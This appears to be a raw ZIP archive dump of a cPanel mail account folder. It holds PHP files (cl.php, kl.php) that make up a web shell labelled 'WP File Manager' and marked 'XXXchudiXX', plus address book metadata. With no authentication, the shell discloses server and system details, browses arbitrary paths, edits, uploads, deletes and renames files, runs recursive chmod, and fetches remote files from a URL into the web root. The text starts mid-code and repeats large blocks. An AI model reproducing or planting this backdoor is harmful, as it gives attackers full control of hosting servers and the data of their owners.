$_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]�÷MBB"info@dunyagozbalkans.com/.metadatanu„[µü¤[addressbook] type VADDRESSBOOK protected 1 description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book [calendar] calendar-color #ff6c2c displayname cPanel CalDAV Calendar description Default Calendar automatically created for your account. protected 1 type VCALENDAR PK“&{]„N9³§Ë§Ëinfo@dunyagozbalkans.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëinfo@dunyagozbalkans.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
